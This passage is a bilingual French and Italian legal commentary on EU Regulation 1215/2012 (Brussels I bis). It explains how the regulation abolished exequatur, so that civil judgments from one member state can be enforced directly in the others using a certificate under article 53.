L’article 39 du nouveau texte établit, par contre, que “la décision rendue dans un État membre et qui est exécutoire dans cet État membre jouit de la force exécutoire dans les autres États membres sans qu’une déclaration constatant la force exécutoire soit nécessaire”.

Cela signifie que même les décisions qui ont été obtenues par le créancier sans se servir des instruments de recouvrement de créances “communautaires” (à savoir, “la procédure d’injonction de payer européenne” prévue par le Règlement CE n. 1896/2006 ou la “procédure européenne de règlement des petits litiges” établie par le Règlement CE n. 861/2007) ainsi que, encore, celles concernant les créances qui ont été “contestées” par le débiteur (pour lesquelles ne peut trouver application le “titre exécutoire européen” prévu, toujours au niveau communautaire, par le Règlement CE n. 805/2004 pour les seules créances non contestées), pourront aujourd’hui immédiatement et automatiquement valoir comme titre exécutoire dans tous les autres États membres, sans qu’il soit justement nécessaire de recourir préalablement à la procédure de exequatur.

D’un point de vue pratique, grâce à un tel nouvel instrument communautaire, il sera donc possible de procéder à l’exécution des jugements rendus par le Juge, par exemple italien ou français, dans tous les Etats membres de l’Union Européenne, simplement en signifiant la décision judiciaire obtenue dans l’Etat membre d’origine à la partie contre laquelle l’exécution doit être entamée.

La seule condition requise aux fins de l’exécution est, en effet, que le requérant démontre la force exécutoire de ladite décision selon la loi de son Etat membre.

A cette fin, l’article 42 du Règlement établit que celui-ci fournisse à l’autorité chargée de l’exécution dans l’Etat demandé, outre à “une copie de la décision réunissant les conditions nécessaires pour en établir l’authenticité” aussi “le certificat délivré conformément à l’article 53, attestant que la décision est exécutoire” dans l’Etat membre d’origine.

Il s’agit donc d’une importante innovation qui confirme la volonté du législateur communautaire de faciliter la circulation des jugements à l’intérieur de la Communauté Européenne, afin de réduire les délais et les couts de leur exécution.

VIA LIBERA ALL’ESECUZIONE NEGLI STATI UE DELLE DECISIONI RESE NEGLI ALTRI STATI MEMBRI

Il 10 gennaio 2015 è entrato in vigore il Regolamento UE n. 1215/2012, denominato “Bruxelles I bis”, che sostituisce il Regolamento CE/44/2001 relativo alla competenza giurisdizionale, al riconoscimento ed all’esecuzione delle decisioni in materia civile e commerciale negli Stati membri dell’Unione europea (UE).

La principale innovazione introdotta dal predetto regolamento riguarda l’esecuzione delle decisioni emesse dall’autorità giurisdizionale di uno Stato membro che saranno oggi “trattate” come se fossero state pronunciate nello Stato membro nel quale devono essere eseguite.

Tale nuovo strumento comunitario ha cioè abolito l’exequatur, ossia la procedura prevista dal Regolamento CE n. 44/2001 per rendere esecutive dette decisioni anche negli altri Stati membri, che prevedeva che, ai fini dell’esecuzione, l’autorità giudiziaria dello Stato membro di destinazione concedesse preventivamente la dichiarazione di esecutorietà nel territorio di tale Stato.

L’art. 38, comma 1, del predetto Reg. n. 44/2001 prevedeva, infatti, che «Le decisioni rese in uno Stato contraente e ivi esecutive sono eseguite in un altro Stato contraente dopo essere state ivi dichiarate esecutive su istanza della parte interessata».

L’art. 39 del nuovo testo stabilisce, invece, che “la decisione emessa in uno Stato membro che è esecutiva in tale Stato membro è altresì esecutiva negli altri Stati membri senza che sia richiesta una dichiarazione di esecutività”.

Ciò significa che anche le decisioni che siano state ottenute dal creditore senza avvalersi degli strumenti di recupero credito “comunitari” (ossia, “la procedura di ingiunzione di pagamento europea” prevista dal Reg. CE n. 1896/2006 ovvero il “procedimento europeo per le controversie di modesta entità” regolato dal Reg. CE n. 861/2007) nonché, ancora, quelle relative a crediti che siano stati “contestati” dal debitore (per i quali non può trovare applicazione il “titolo esecutivo europeo” previsto, sempre a livello comunitario, dal Reg. CE n. 805/2004 per i soli crediti non contestati), potranno oggi immediatamente ed automaticamente valere quale titolo esecutivo in tutti gli altri Stati membri, senza che sia appunto necessario ricorrere preventivamente al procedimento di exequatur.

Da un punto di vista pratico, grazie a tale nuovo strumento comunitario, sarà pertanto possibile procedere all’esecuzione delle sentenze rese dal Giudice, per esempio italiano o francese, in tutti gli altri Stati membri dell’Unione Europea, semplicemente notificando alla parte contro la quale l’esecuzione deve essere iniziata la decisione giudiziale ottenuta nel proprio Stato membro.

La sola condizione richiesta ai fini dell’esecuzione è, infatti, che il richiedente dimostri l’esecutività di detta decisione secondo la legge del proprio Stato membro.

A tal fine, l’art. 42 del Regolamento stabilisce che esso fornisca all’autorità incaricata dell’esecuzione nello Stato richiesto, oltre ad “una copia della decisione che soddisfi le condizioni necessarie per stabilirne l’autenticità”, anche “l’attestato rilasciato ai sensi dell’art. 53 che certifica l’esecutività della decisione” nello Stato membro di origine.

Si tratta quindi di un’importante innovazione che conferma la volontà del legislatore comunitario di agevolare la circolazione delle sentenze all’interno della Comunità Europea al fine di ridurre i tempi ed i costi della loro esecuzione.